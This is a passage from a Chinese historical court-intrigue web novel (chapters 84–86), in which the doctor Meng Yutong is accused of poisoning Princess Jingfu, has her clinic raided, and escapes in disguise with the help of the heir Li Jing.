昔日那孱弱濒死的幼苗,如今已亭亭如盖,绿荫葱茏。可当年亲手将它种下、笑着许诺要看着它蓊郁成荫的人,却再无归期。 ‘你不配。’ 瑾安冰冷的声音犹在耳畔,与这满院清辉、簌簌竹声交织在一起,竟倏忽化作一张无形的网,将他紧紧缠绕。 第84章 第84章涉嫌毒害 更深夜静,贤太妃所居的长乐宫内已是灯火通明。 殿内陈设看似古朴雅致,细观却处处透着低调的奢贵。紫檀木雕花座椅铺着凤纹锦垫,多宝阁上陈列着官窑名瓷与孤本典籍,空气里弥漫着馥郁名贵的沉香气息。 于无声中尽显内敛与威仪。 贤太妃端坐于窗下的暖榻上,身侧小几上放着一盏刚煎好的参茶,白气袅袅,映衬着她保养得宜的面容。 她年逾八旬,脸上少见老人惯有的慈祥,反是皮肉紧致,显得颇为严肃,一双凤眼眼尾微微上挑,目光锐利,透着一股久居上位者的审视与精明。 窦志杰风尘仆仆地躬身立于下首,他刚从景福公主府赶来复命。 “太妃娘娘,”窦志杰姿态恭敬,言语圆滑,“给景福公主殿下的生辰贺礼,下官已亲手奉上。公主殿下见了甚是欢喜,把玩许久,还特意嘱咐下官,定要代她向太妃娘娘问安,愿娘娘凤体康健,福寿绵长。” 贤太妃闻言,眼皮都未抬一下,只从鼻间逸出一声几不可闻的轻哼,语气听来带着一丝刻薄:“她那公主府就在皇城根儿下,离得这般近。一年到头,除了入宫面圣时顺道过来做做样子,平日里何曾见着她半分真心问候?这会儿倒记起关心本宫的身体了。” 她语速平缓,字里行间却透着一股浸淫宫廷多年的凉薄与挑剔。 当朝之中,先帝妃嫔唯余贤太妃仍在世。 圣上幼时曾养于其膝下,登基后侍之如亲母,极尽尊崇,此乃朝野皆知。 然景福、景祯两位公主,与这位太妃的情分却始终泛泛。 早年贤太妃亦不甚将这两位公主放在眼中,直至后来景福公主于猎场救驾有功,圣眷日隆,贤太妃这才稍稍花了些心思,试图维系表面上的亲近。 窦志杰听得贤太妃语带不虞,连忙堆起更诚挚的笑意,温言劝解:“太妃娘娘言重了。景福公主殿下性子是直率了些,不似寻常人那般善于表达,然心中对娘娘的敬重定然是分毫不减的。 “况且,满宫上下,谁不知陛下待娘娘至孝至诚,公主殿下又岂会不感念于心?定是近日府中事务繁杂,一时疏忽了问候,娘娘您宽宏大量,莫要同小辈计较才是。” “哼,”贤太妃脸上的冷意果然因他这番话融了几分,“你倒是比你父亲当年更会察言观色,说话也中听。” “不敢,不敢,下官只是实话实说。”窦志杰见太妃手边的茶盏已空,极有眼色地躬身趋前,执起温在一旁的玉壶,动作轻缓地为她重新斟满,姿态谦卑而自然。 贤太妃满意地接过他奉上的茶盏,呷了一口,方慢悠悠问道:“明远近来如何?他那病症可大好了?” “劳太妃挂心,托您的洪福,您赏下的那些珍贵药材极为对症,世子休养了些时日后,如今已然大安,又是生龙活虎的模样了。” “那就好。”贤太妃微微颔首,语气却带着些暗暗的在意,“他那孩子,自幼没吃过什么苦头,此番染病,也好叫他长些记性,收收心。少成日在外头胡乱厮混,沾染些不干不净的病气回来。” 她言语间对孙儿的关切不假,但那关切之下,是一种专断的掌控欲,仿佛唯有将儿孙的一切牢牢握于掌心,方能抚平她内心深处对权力流逝的隐忧与不甘。 “不过,”她话锋一转,锐利的目光扫向窦志杰,“听闻前阵子城中时疫汹汹,连宫里都折进去不少人,医官院应对起来尚且吃力。明远这病,听闻……不是纪昀看的?” 窦志杰眼睫微垂,眸光快速闪烁了一下,似在脑中飞快权衡,面上却依旧维持着恰到好处的恭顺,斟酌着回道:“回太妃,世子此番是在城中一家医馆诊治的。那医馆的坐堂大夫似乎与世子有旧,医术颇为不俗。时疫蔓延期间,此人诊治了不少重症病患,颇见成效,以致后来还有许多百姓慕名而去,专程寻他看诊。” “哦?民间大夫?”太妃眉峰微挑,脸上掠过一丝毫不掩饰的轻蔑,“能有什么真本事?明远金尊玉贵,岂是那些江湖郎中能随意诊治的?若有个闪失,他们有几个脑袋够赔?” 她语气微沉,追问道:“哪家医馆?那大夫叫什么?” 虽说不打算真去问罪——毕竟人确实治好了李璟,但她心中疑窦渐生。 她这个孙儿向来只知与一群纨绔厮混,交往的纵是些不学无术之辈,也皆是高门子弟,怎会无故结识一个抛头露面、坐馆行医的民间大夫? 此事透着蹊跷,令她本能地生出几分警觉。 窦志杰窥见太妃神色微凝,不敢有半分隐瞒,忙躬身答道:“回太妃,是开在桃花街的一家医馆,名为‘照隅堂’。坐馆的是位女大夫,据说是城中经营药材生意的孟家之后,名为孟玉桐。” 他说完便小心翼翼抬眸,留意着太妃的反应。 却见太妃眸光倏然一凝,那双锐利的凤眼中竟闪过一丝几乎难以捕捉的厉色。 “是江云裳的孙女?”太妃的声音陡然低沉了几分。 窦志杰心下一顿。 早在察觉李璟对孟玉桐态度特殊时,他便已派人细细查过此女底细,自然知晓太妃口中的“江云裳”,正是孟玉桐的祖母。 太妃竟与孟家老太太相识?他心头疑云骤起,面上却不敢显露分毫,只垂首恭谨应道:x“正是。” 听得他肯定的答复,太妃未再言语,只伸出保养得宜、戴着翡翠护甲的手指,在光滑的紫檀木桌案上极有节奏地轻轻敲击起来。 “嗒…嗒…嗒…” 清脆的敲击声在寂静的殿内回荡,一声声,不疾不徐,却无端透着一股诡异。 良久,才听她缓缓开口,语调平缓得听不出喜怒: “好…好得很…” 不知为何,窦志杰只觉得一股寒意自脊背窜起,竟激得他起了一层细密的鸡皮疙瘩。 他侍奉太妃日久,却从未见过她露出这般神情。 那是一种深埋在雍容华贵之下,几乎要破土而出的阴冷之色。 该回的话已然回完,窦志杰不敢久留,恭敬地行礼告退。 直至退出长乐宫,走在宫灯昏黄的长街上,他紧绷的心神才稍稍放松,思绪却翻涌不停。 他想起窦家的发迹史。父亲窦英当年不过是礼部一个籍籍无名的郎中,只因在多年前一桩轰动朝野的案子里,机缘巧合襄助了当时主办此案的荣亲王。 那桩案子最终办得并不妥帖,甚至颇受诟病,圣心亦未必愉悦。 可父亲却不知在其中把握住了何种关窍,自此官运亨通,平步青云,窦家也彻底依附上了太妃一脉。 待他入仕,自然承袭了这份遗泽,凭借着这层关系与自身圆滑,在官场中混得风生水起。 然而他心中始终清明,追随太妃,无异于与虎谋皮。其中诱惑固然巨大,可潜藏的风险更是深不可测。 或许正是参透了这一点,近年来父亲已渐生退意,将更多心思放在了经营家族、颐养天年上,对朝中权势争斗,反倒不那么热衷了。 他想,他需得寻个时机好好问问父亲当年的事情。知晓得多一些,对于他未来在太妃跟前行事,总是有好处的。 * 八月初五,秋高气爽,碧空如洗,几缕薄云悠然点缀。 微风过处,已能嗅到隐隐的、清甜的桂花香气,快要入秋了。 济安堂内,孟玉桐带着白芷前来探望这里的孩子们。她们带来了一些易于存放的糕点吃食,以及一些防治秋燥风寒的常用药材,交由管事秋娘统一收存,以备不时之需。 因着孟玉桐已来过数次,孩子们与她颇为熟稔,一见她的身影,便欢快地围拢上来。几个活泼些的,如杏儿,更是直接扑过来抱住她的腿,清脆地喊着“玉桐姐姐”。 孟玉桐含笑一一回应,温柔地询问他们近日起居,又特意查看了之前感染过腹泻的小辉和杏儿的恢复情况,细细叮嘱他们虽已病愈,仍需注意保暖,饮食亦要清淡。 她的目光在孩子们中间流转几圈,并未见到那个总是怯生生躲在最后的小身影。 她抬眼向更远的角落望去,果然见小雪正缩在一架旧纺车投下的阴影里,小手紧紧攥着自己的衣角,不敢上前。 那双清澈的大眼睛却一眨不眨地远远望着她,模样瞧着令人心怜。 孟玉桐心下一软,示意白芷照看好身边的孩子们,自己则放轻脚步,走向角落。 她在小雪身前蹲下,视线与她齐平,伸手轻轻抚了抚小女孩柔软的额发,声音放得极柔:“小雪,好久不见,有没有想姐姐?” 小雪的大眼睛忽闪了一下,雪白的小脸上泛起一丝腼腆的红晕,随即用力地、却又幅度极小地点了点头。 她甚至学着孟玉桐的样子,怯生生地伸出软乎乎的小手,轻轻碰了碰孟玉桐的发鬓。 孟玉桐眼底笑意更深,从袖中取出一只以干草编织成的蝴蝶。 那蝴蝶形态朴拙,甚至带着几分憨态,与真正翩跹灵动的蝴蝶相去甚远。这是她在数次尝试于香囊上绣制蝴蝶失败后,无奈放弃,转而用院中晾干的草茎编织而成的替代品。 她将草蝴蝶递到小雪面前。小雪的眼睛瞬间亮了起来,她小心翼翼地用双手接过,仿佛捧着什么绝世珍宝,将它举到眼前,细细地、专注地端详着,嘴角慢慢向上弯起,眼睛也眯成了两弯月牙。 孟玉桐瞧见她心情不错,便在她耳旁道:“小雪你看,院子里的其他孩子都在一块儿玩儿呢,他们都很和善,不会欺负人的。你要是害怕,可以先在一旁看着,等觉得自在了,再慢慢走过去,好不好?” 见小雪依然抿着嘴,小手紧张地攥着衣角,孟玉桐又笑着指了指自己的胸口:“要是心里觉得闷闷的,不开心,或者害怕了,可以试试像我这样——” 她说着,故意鼓起腮帮,然后“呼”地一声,长长地吐出一口气,“把闷在心里的浊气都吐出来,虽然发不出声音,但这样也会舒服很多的。来,我们一起试试?” 小雪眨了眨大眼睛,犹豫地看着她。 孟玉桐便又示范了一次,表情夸张地吐气,逗得小雪眼睛微微弯了一下。 于是,两个人就真的蹲在角落的树荫下,你一口我一口地,认真地“呼——呼——”吐起气来。 没一会儿,大概是这动作实在有些傻气,又或许是看着对方认真的模样实在有趣,两人对视一眼,竟不约而同地轻轻笑了起来。 小雪笑得肩膀一耸一耸的,虽然无声,那笑意却从眼底漫开,温暖而明亮。 在济安堂陪着孩子们完了半日,见时候不早,孟玉桐便起身告辞。 回到照隅堂后,她继续埋头研制此前与纪昀提及的果药茶。 这几日试做的几款中,以金银花搭配薄荷、甘草的“清心降火茶”,以及用陈皮、山楂熬煮的“消食健胃饮”卖得最好。 然而时节流转,眼看秋风渐起,天气转凉,她便想着该调配些更适宜秋日、能润燥生津、温养肺腑的茶饮。 只是……她执笔沉吟,在纸上写下秋梨与百合,笔尖微顿。秋梨性凉,百合微寒,二者相配,润燥之功虽佳,却恐其性过于寒凉,于脾胃虚寒之人不宜。 若再添入一味性温的杏仁加以调和,或可平衡? ……此中关窍,牵涉药材君臣佐使之理,若有纪昀在旁,或可一同参详…… 这念头甫一浮现,她便是一怔。说起来,自那日公主府寿宴后,纪昀似乎已有好些日子未曾踏足照隅堂了。 她随即摇了摇头,将那丝莫名的思绪挥散。他不来也罢,医馆反倒更显清静,正可专心研习医术,打理庶务。 正自思忖间,忽闻门外传来一阵不同寻常的喧哗与沉重脚步声,其间夹杂着惊慌的低呼。孟玉桐蹙眉,不明所以地抬眼向门外望去。 只见一队身着玄色劲装、腰佩制式长刀的宫廷侍卫,动作迅疾如风,竟在转瞬间将小小的照隅堂团团围住,肃杀之气扑面而来。 “砰”的一声巨响,领头的侍卫官一脚踹开了医馆半掩的门扉,木屑纷飞。他目光如电,扫过堂内,声音冷硬如铁,高声喝道: “照隅堂孟氏,涉嫌以药毒害景福公主殿下!奉上谕,即刻查抄医馆,一应人等,就地看押,不得有误!” 第85章 第85章破局 孟玉桐刚回到照隅堂不久,医馆外却陡然传来一阵急促而沉重的脚步声,夹杂着兵甲碰撞的铿锵之声。 不等馆内几人反应,数名身着玄色劲装、腰佩长刀的护卫已凶神恶煞地破门而入,瞬间将小小的医馆前后围得水泄不通! “你们干什么!”白芷吓得脸色发白,却仍鼓起勇气上前试图阻拦一个正要推翻药柜的侍卫,声音发颤,“光天化日,还有王法吗?” 吴明也一个箭步挡在诊案前,张开双臂,急声解释道:“各位官爷,是不是弄错了?我们家孟大夫仁心仁术,绝不可能做出谋害公主之事啊!” 那领头侍卫面目阴沉,毫不留情地一把将白芷和吴明狠狠推开,力道之大让两人踉跄几步险些摔倒。 他啐了一口,厉声喝道:“不知死活的东西!公主金枝玉叶,岂是你们这等贱民可以谋害的?再敢上前妨碍公务,老子砍了你们的脑袋!” 孟玉桐疾步上前,将惊魂未定的白芷和吴明护在身后。 两人如同找到主心骨,立刻一左一右紧紧靠在她身后。 她目光扫过这群不速之客。 上月公主寿宴,她见过公主府的亲卫,其服饰虽是玄色,但衣领袖口皆有特定的纹饰,兵刃制式也更为统一精良。 而眼前这群人,衣着粗糙,佩刀制式混杂,眉宇间更多了几分市井悍匪般的戾气,绝非公主府仪制。 心中疑窦丛生,眼看那几名侍卫仍在肆意打砸,药材、器皿被胡乱抛掷,满地狼藉。孟玉桐深吸一口气,猛地踏前一步,清叱道x:“住手!” 她身姿挺拔,目光沉静如寒潭,竟在混乱中透出一股不容侵犯的冷冽气场。 她直直盯住那领头之人:“我且问你,不管你受何人指令前来,那人可曾明令允许你等在此**掠,行此匪盗之举? “还是你自作主张,想借此机会彰显威风,过一过这上位者的瘾?不知此事若传回你主子耳中,知晓你如此阳奉阴违,败坏其名,你可还有活路可走?” 那领头之人起初完全没将这女医放在眼里,只当是随手可以捏死的蝼蚁。此刻被她一语道破关键,心中先是一惊,随即恼羞成怒。 他眼中凶光毕露,猛地抽出半截雪亮佩刀,向前逼近一步,恶狠狠道:“贱人!有点小聪明又如何?老子今日就算一把火烧了你这破地方,上头也不会多问一句!我最讨厌的就是你这种自作聪明、不识抬举的东西!” 明晃晃的刀锋与凶戾之气扑面而来,孟玉桐非但没有后退,反而微微抬高了的下巴,唇边甚至勾起一丝极淡的、带着嘲讽的冷笑: “看来我猜对了。你并非公主府之人。若景福公主殿下知道,她亲手赐下玉佩的救命恩人,转眼就被你这等微末小卒如此折辱欺压——这后果,”她眸光陡然冰冷,“你区区一个护卫,承担得起吗?” “你……”那人动作猛地一僵,抽刀的手顿在半空,脸上闪过明显的惊疑不定。 她如何得知自己并非公主府侍卫?莫非……她真有所依仗? 不待他细想,只见孟玉桐已自怀中取出一物。 正是一枚色泽浓郁、雕刻着独特徽印的红玉方牌。 那领头之人瞳孔骤然收缩,脸色瞬间煞白。他几乎是本能地猛地挥手,嘶声喊道:“都住手!快住手!” 变脸之快,堪称一绝。他慌忙收刀入鞘,对着孟玉桐躬身行礼,语气已是前倨后恭:“原、原来是公主殿下身边的贵人!小人有眼无珠,冒犯之处,万望海涵!小人……小人也是忧心公主殿下万金之躯,怕被奸人所害,这才……这才行事急躁了些……” 他心知今日踢到了铁板,两头都难以交代,只想着赶紧脱身。 “贵人恕罪,我等也是奉命行事,身不由己。只是……贵人的医馆这几日恐怕不便再开门迎客了,您与馆中诸位,也需暂且留在此处,委屈几日。 “不过您放心,一应饮食用度,但有所需,小人必定尽力安排周全!待此事查明,水落石出之日,小人定当亲自登门,负荆请罪!” 说完,他便想招呼手下,将这满地狼藉弃之不顾,赶紧溜之大吉。 “慢着。”孟玉桐的声音再次响起,不高,却带着不容置疑的意味。 那领头之人脚步一僵,硬着头皮转身:“贵人还有何吩咐?” “景福公主殿下现下情况如何?”孟玉桐紧盯着他问道。 那人犹豫一瞬,低声道:“殿下中毒颇深,至今仍昏迷不醒。”再多,却是不肯说了。 孟玉桐点了点头,目光缓缓扫过一片狼藉的医馆,最后落回那领头之人脸上。 她微微蹙起眉,脸上适时地流露出几分恰到好处的柔弱与为难,声音也软了几分,可那双清亮的眸子却静水深流,隐隐透着不容错辨的压力: “这位官爷,您也瞧见了,我这医馆之中,皆是弱质女流与一个不顶事的学徒,没几个能使力气的人。您将此处弄得这般乌烟瘴气、寸步难行,我们三人,便是收拾到天明也收拾不完。” 真是倒了血霉! 领头之人粗眉一横,在心里暗骂,怎么摊上这么一桩棘手的差事。 本以为只是个无权无势的民间医女,随手拿捏便是,谁知对方竟有公主信物傍身!可……这女子再能耐,难道还能硬得过给自己下令的那位? 他心中权衡再三,终究不敢将事情做绝,只得咬咬牙,对身旁两名手下使了个眼色:“你们俩,留下!把这里给贵人收拾干净了,恢复原样!” 那两名侍卫苦着脸应下。领头之人自己则是一刻不敢多留,带着其余手下,如同来时一般风风火火地……撤了。 待医馆中被砸毁的物什大致归位后,那几名负责收拾残局的护卫也悻悻离去。 照隅堂前后门皆被从外把守,留下了四五名持刀护卫,严禁任何人出入。 白芷忧心忡忡地绞着手指,声音里带着惊魂未定:“姑娘,这究竟是怎么回事?好端端的,景福公主怎么会中毒?再说了,她中毒,与姑娘何干啊?” 吴明则在堂内焦急地来回踱步,眉头紧锁:“当家的,您近来可是不慎得罪了哪位贵人?” 孟玉桐并未立刻回应,她眸光微沉,快步走向后院,视线落在二层楼梯口。 那里空荡荡的,既无吴林那惯常摆着的算命招牌,也不见他那张旧木凳。 他尚未归来。 心中计较已定,孟玉桐又快步回到自己房中,从妆奁底层取出一件物什。她将吴明唤至近前,将东西塞入他手中,随即俯身在他耳边低语数句。 吴明神色一凛,连连点头,低声道:“当家的放心,我明白了。” * 照隅堂这边闹出如此大的动静,桃花街上的左邻右舍皆被惊动。平日里孟大夫待人温和,医术精湛,怎会与毒害公主这等滔天罪责扯上关系? 莫非……是得罪了不该得罪的人? 望仙桥畔,老桃树下,正准备收摊的吴林默不作声地将方才那场闹剧尽收眼底。 他依旧是一副超然物外的模样,静坐树下,仿佛那被查封的医馆与他毫无干系。 只从怀中掏出几枚铜钱,细细数了数,不知是否够他今夜寻个落脚之处。 与此同时,桃花街转角处,两名身形高壮、作寻常百姓打扮的汉子,自那群兵卫闯入起便一直暗中留意着照隅堂的动静。 待那群人撤离后,两人交换了一个眼神,也迅速转身,悄无声息地融入了渐深的暮色之中。 入夜后,桃花街较往日更早地沉寂下来。因着白日里那场风波,不过戌时初刻,街上便已行人寥落,各家店铺也早早关门歇业。 照隅堂门前,四名守卫持刀而立,神色凛冽,更无人敢靠近半步。 这几人凶神恶煞的模样,寻常百姓自是避之唯恐不及。 然而,总有那“不寻常”的人。 李璟带着一个身着灰色短打、个子瘦小的侍从,施施然晃到了照隅堂紧闭的大门前。 他仿佛没看见门口那四个杵得像门神般的守卫,径直上前,抬手便示意石宇去揭那交叉贴着的封条。 “干什么的!”一旁的守卫见状,猛地伸手推了李璟一把,声若洪钟,“没长眼吗?此地已被查封,闲杂人等速速滚开!” 李璟被推得一个趔趄,向后踉跄了两步。 他站稳身子,难以置信地瞪大了眼睛,指着那守卫怒道:“好大的狗胆!你知道小爷我是谁吗?敢拦我的路,你有几个脑袋够砍?” 他生得白净秀气,此刻横眉怒目,摆起谱来倒是气势十足,一时竟真将几名守卫唬住了。 “管……管你是谁?”那守卫强自镇定,“这照隅堂的主事犯了事,我等奉命看守,闲杂人等一律不得靠近!” 李璟没好气地推了身旁的石宇一把,连使眼色。 石宇这才反应过来,立刻叉腰上前,扯着嗓子嚷道:“放肆!你才是闲杂人等!睁大你的狗眼看清楚,这位可是荣亲王世子殿下!敢阻拦世子,信不信王妃砍了你们的脑袋!” “你说他是世子,有何凭证?”守卫将信将疑。 李璟略带得意地拂开腰间的乌龟香囊,露出下面悬着的一块羊脂白玉牌,拎着绦绳在几人眼前晃了晃,让他们足以看清玉牌上清晰的“荣亲王世子令”字样与皇家纹饰。 那几名守卫定睛一瞧,顿时浑身一颤,脸色煞白,纷纷“扑通”跪倒在地,磕头如捣蒜:“小的有眼无珠!不知是世子殿下驾临,冲撞了殿下,罪该万死!罪该万死!” “得了得了,”李璟不耐烦地摆摆手,将玉牌重新系回后,“本世子今日没空跟你们计较。我进去瞧个病,抓点药,你们别拦着。” 说罢,又示意石宇去揭封条。 守卫们此刻不敢再拦,可若就这么放他进去,上头怪罪下来,他们也担待不起。几人面面相觑,额上沁出豆大的汗珠,一时进退两难。 李璟见状,“啧”了一声,语气带着几分混不吝:“瞧你们那点胆子x!我就进去看个病,抓完药就出来。等我出来,你们再把那劳什子封条贴回去不就完了?这月黑风高的,谁能知道?榆木脑袋!” “是是是!多谢世子体恤!多谢世子体恤!”守卫们如蒙大赦,连连叩首,不敢再多言。 石宇已利落地将封条揭开,推开了医馆大门。李璟整了整衣袍,施施然迈步而入,石宇紧随其后,反手将门轻轻掩上。 第86章 第86章为何会想到来找我帮忙?…… 李璟进去后,那四名护卫在外头提心吊胆,生怕再生出什么变故。 大约过了一炷香的功夫,医馆门被再次开启,李璟带着侍从石宇,不紧不慢地走了出来。 李璟瞧着那几个护卫,唇角勾起一抹玩世不恭的笑:“你们几个还算识相。今日既行了方便,本世子也记你们一份好。” 说着,又从袖中掏出几枚分量十足的金锭,一人一块塞进他们手中。 那几个护卫何曾见过出手如此豪阔的主子,一时间只顾盯着掌心金灿灿的金锭,连呼吸都急促了几分,忙不迭地谄媚道谢:“多谢世子!多谢世子爷赏!” 李璟仿佛忽然想起什么,随意指了指石宇捧着的药盒,挑眉问道:“对了,我从里头开了些药出来,你们可要查验查验?” “不敢不敢!世子爷您请便!”守卫们头摇得像拨浪鼓,恨不得再表几分忠心。 李璟浑不在意地挥挥手,示意他们赶紧把门封好,自己则带着石宇,大摇大摆地转身离去。 石宇将那一大盒药包高举过头顶,亦步亦趋地跟在李璟身后。 离开照隅堂一段距离后,主仆二人迅速登上了停靠在街角的马车。李璟亲自执起马鞭,马车很快便驶出了桃花街,融入夜色。 待到一处僻静无人的巷角,李璟勒停马车,利落地撩开车帘钻入车厢。 车厢内,穿着一身略显宽大的灰色侍从短打的孟玉桐,正靠坐在软垫上,眼帘低垂,不知在沉思什么。 虽作男装打扮,未施粉黛,却难掩那份沉静清丽的气质,反倒因这身装扮平添了几分英气。 她脚边放着刚刚从照隅堂顺手带出的医箱。 李璟一钻进车厢,便顺势在她身旁坐下,语气带着未散的急切与担忧:“你……你究竟是怎么惹上这等麻烦的?我方才一见到你托人送来的那对耳坠,就心知不妙,立刻派人去打探,果然……” 孟玉桐抬眸,目光清澈镇定,向他微微颔首:“今日之事,多谢世子仗义相助。” 李璟脸上微微一热,有些不自在地别开视线,摆了摆手:“这、这算什么,不过是举手之劳,你不必放在心上。你快同我说说,我还能帮你做些什么? “对了,我姑母她……确是出事了,听说就是今日突然昏迷,医官院的人去看过,说是中毒,但具体是何毒尚且不明。这事怎会牵连到你身上?” 孟玉桐眸色沉静,缓声道:“七月十五公主寿辰,我曾献上一张以草药熏制而成的药毯作为贺礼。不过那药毯从选药到熏制,皆出自我手,我可担保,绝无问题。” “我自然信你!”李璟立刻道,眉头紧锁,“可眼下这情形,我们该如何是好?” 他一边说,一边从怀中取出那对白玉兰耳坠,小心翼翼地放回孟玉桐手中,“这个你收好,我李璟送出去的东西,断没有收回的道理。” 孟玉桐看着掌心那对莹润生辉的耳坠,沉默一瞬,终是收拢手指,将其握紧,再次轻声道:“多谢世子。” 她随即抬眼,看向李璟,虽身着男装,那份由内而外的冷静与魄力却愈发夺目:“世子,你可有办法,带我入公主府?我必须亲见景福公主一面。” 李璟被她那清冽的目光看得心头莫名一悸,几乎是下意识地点头应承:“好……我带你去。” 听他这般应下,孟玉桐眉宇间显而易见的舒缓了几分。她取出李璟送来的那对白玉兰耳坠,用一方素净的丝帕仔细包好,随后打开身侧的医箱,将其妥帖地放入其中。 “我……我也不知你平日里喜好什么,瞧着这耳坠还算清雅便选了。你若是觉得过于素净,不衬你,我……我再寻些别的样式给你?” 瞧着孟玉桐的动作,他心头小鹿乱撞,不知怎的,她明明收下了自己的东西,可心中竟然患得患失起来。 孟玉桐合上医箱,将其放回脚边,语气依旧平淡,听不出太多情绪:“世子费心了。这便很好,无需再添麻烦。” 李璟偷偷觑着她的神色,犹豫片刻,还是忍不住问:“那……那你今日遇事,为何会想到来找我帮忙?我以为……你同我表兄的关系,总会更亲近些。” 话一出口,他便有些后悔,生怕显得自己过于计较。 得知孟玉桐出事第一个想到的是自己时,李璟心中那份为她揪心的担忧远胜过其他。 可此刻人就在眼前,那份因被优先选择而悄然滋长的、隐秘的得意与欣喜,便有些压制不住地冒了头。 原来在她心中,他李璟竟比纪昀更值得信赖和依靠。 孟玉桐抬眸看他,目光清正:“世子,我不喜亏欠人情。今日既劳你相助,自不能白白承受这份恩情。” 她略一停顿,继续道,“我知晓你此前受郑辉蒙骗,是急于在自家产业上做出成绩,以证自身能力。我曾去过你名下的八珍坊,观其经营,确有几点亟待改善之处。” 她言辞恳切,并非敷衍:“其一,店内伙计待人接物过于木讷畏缩,不敢主动招呼,而管事看似精明,实则心术不正,未能以身作则,反有欺上瞒下之嫌,致使上下离心。其二,所售货品多为陈旧式样,纹饰、配色皆落后于时下风尚。如今临安城中,无论男女,皆追求新颖别致之物,若一味守旧,自然难以吸引客流。” 她见李璟听得认真,便接着提出建议,目光沉静而专注:“依我浅见,世子或可考虑,首先整顿人事,郑辉你既然已经撤下,便该找个宽宏有主见些的管事,提拔机灵肯干的伙计,赏罚分明,以正风气。 “其次,货品须得推陈出新,不妨多留意江南乃至海外传入的新奇花样、材质,甚至可以寻些手艺精湛的工匠,定制些独一份的精品。最后,店堂布置亦需用心,务必窗明几净,陈设雅致,让客人一入门便觉舒心,愿意驻足流连。” 李璟先是一怔,随即有些讪讪地摸了摸鼻子:“你这人……什么都好,就是太过正经了些。我帮你,也并非图你回报什么。” “我行事但求问心无愧。”孟玉桐神色不变,“方才所言,也不过是我一己之见,未必周全。世子若觉得不妥,只当我随口一提便是。” “不不不!”李璟连忙摆手,眼中却亮起了光,带着几分豁然开朗的兴奋,“你说得极好!句句都说在了点子上!等过几日……不,等眼前这事一了,我立刻就去照着你的主意办!” 两人正在马车内说着话,车外忽然传来一阵沉稳的脚步声,由远及近。 李璟呼吸一窒,下意识将孟玉桐往身后一挡,目光警惕地投向车门帘幕。 下一瞬,一只骨节分明、戴着枚水色极佳的翡翠扳指的手撩开了车帘。 李璟瞧着那熟悉的扳指,心头猛地一跳,尚未及反应,帘子已被彻底掀起,露出一张令他瞬间紧张的面容。 “深更半夜,不在府中安分歇着,又在外游荡。前番染病疼痛之苦,看来是忘得干净了。” 来人约莫四五十岁年纪,面容清癯,眉眼间带着几分儒雅疏淡。 他身着墨青色常服,料子是顶级的云锦,却无过多纹饰,只腰间挂一枚蟠龙玉佩。 是荣亲王。 在李璟印象中,父亲性情沉肃,平日多半待在城外几处别业,赏玩收藏的名家字画,与他相处时光甚少,关系堪称淡薄。 每每相见,除却几句惯常的斥责,几乎再无他言。 李璟对这位父亲,敬畏远多于亲近。 “参见父王。”李璟慌忙起身,恭敬行礼,强自镇定地解释,“儿子……儿子并非在外游荡,是听闻姑母中毒,心下担忧,正欲前去探望。” 他身形微侧,依旧严实地挡在孟玉桐身前。 荣亲王目光在他脸上停留一瞬,未置可否,竟抬步便要登车。 李璟脸色微变:“父亲,这车厢窄小,我们三人共乘,只怕拥挤……” 荣亲王却已翻身上来,撩袍坐下,姿态从容地居于两人对面,淡淡道:“无妨。正巧本王欲往御街x蕴古斋看几幅新到的字画,与你顺路一段。” 李璟只得噤声,抬袖擦了擦额角的冷汗。 “怎不见石宇?你身边换了人?”荣亲王的目光掠过李璟,落在他身旁低垂着头的“侍从”身上。 那目光带着审视,在看清对方虽作男装、却难掩清丽轮廓的面容时,微微一顿,眼底闪过一丝讶异。 “回父王,此人……是医官院新来的录事,精于药理,儿子近日身体有些不适,故请他随行看看。”李璟心跳如擂鼓,硬着头皮编撰。 孟玉桐适时地抬眸,给了李璟一个安抚的眼神,示意他稍安勿躁。 李璟见她神色镇定,心下稍宽,忙道:“父亲既已上车,儿子去前头驾车。” 说着便挪到车辕前,执起了缰绳。他要快些将父亲送到,免得时间长了露了馅。 车厢内只剩下孟玉桐与荣亲王二人。 荣亲王神色难辨,他微微眯起眼,目光不再掩饰,直直落在孟玉桐脸上。 此女眉目清冽,虽刻意掩饰,仍透着一股不同于寻常闺秀的英气与沉静,尤其那双眼睛,清澈明亮,竟……隐隐肖似一位故人。 “不知姑娘如何称呼?府上是……?”荣亲王开口,语气听来平淡,却带着一种探究,“本王向来不喜虚与委蛇,观姑娘气度,当是明白人。” 孟玉桐迎着他的目光,坦然答道:“民女姓孟,名玉桐,家住通江桥,经营药材生意。” “孟家?”荣亲王疏淡的眸色倏然凝聚,原先淡漠的神色似有了道焦点。 他低声重复着这两个字,唇角几不可察地向上牵动了一下,似想扯出一个笑,最终却只化作一声几不可闻的轻叹,无力地落下,“难怪……” 孟玉桐不知他这反应所谓何来,却能感知到其中并无恶意,心下稍安。 荣亲王目光扫过她脚边的医箱,又问:“姑娘通晓医术?” “是。民女在桃花街开了间医馆,名照隅堂。” “倒是巧了。”荣亲王微微颔首,神色如常,“近日本王常觉胸闷气短,夜间难寐。姑娘既通医理,不妨替本王诊看一二。” 孟玉桐应下,随即从医箱中取出脉枕垫好。荣亲王将手腕置于其上,她凝神静气,三指搭上寸关尺,细细体察脉象。 片刻后,她收回手,声音平稳:“王爷身体并无大碍。脉象显示乃思虑过度,心绪郁结所致,以致夜寐不安,白日间或感胸闷。 “此非药石可根治之疾,需得自身放宽心怀,少思少虑,寻些怡情养性之事,假以时日,自然康泰。” 她言语清晰,态度不卑不亢,并未因对方身份而露怯或谄媚。 荣亲王眼中掠过一丝淡淡的赞赏。他收回手,似是随口问道:“姑娘医术颇精,不知师从哪位名家?” 孟玉桐一边不急不缓地收拾医箱,一边敏锐地察觉到这位王爷对她的关注似乎超出了寻常。 她垂眸答道:“民女并无固定师承。家中世代经营药材,自幼耳濡目染,识得些药性,后来自己翻阅些医书,偶有所得,便试着为人诊看,积年累月,略通皮毛罢了。” 见她如此说,荣亲王也未再深究,只摩挲着拇指上的翡翠扳指,缓声道:“桃花街,照隅堂。若日后本王身体再有不适,可否来此请姑娘代为看诊?” “自然可以。王爷若有吩咐,民女定当尽力。” “父亲,蕴古斋到了。”车外传来李璟的声音,马车随之缓缓停稳。车帘立刻被李璟从外掀开,他探进头来,脸上带着显而易见的急切。 荣亲王目光深沉地看了自己儿子一眼,欲言又止,最终只淡淡道:“嗯,时候不早了,你要早些回府。” “儿子知道了。”李璟忙不迭应下。 待亲眼看着荣亲王的身影消失在蕴古斋门内,李璟才长长舒了一口气,重新执起马鞭,驾着马车朝着公主府的方向疾驰而去。 * 纪府,梧桐院内。 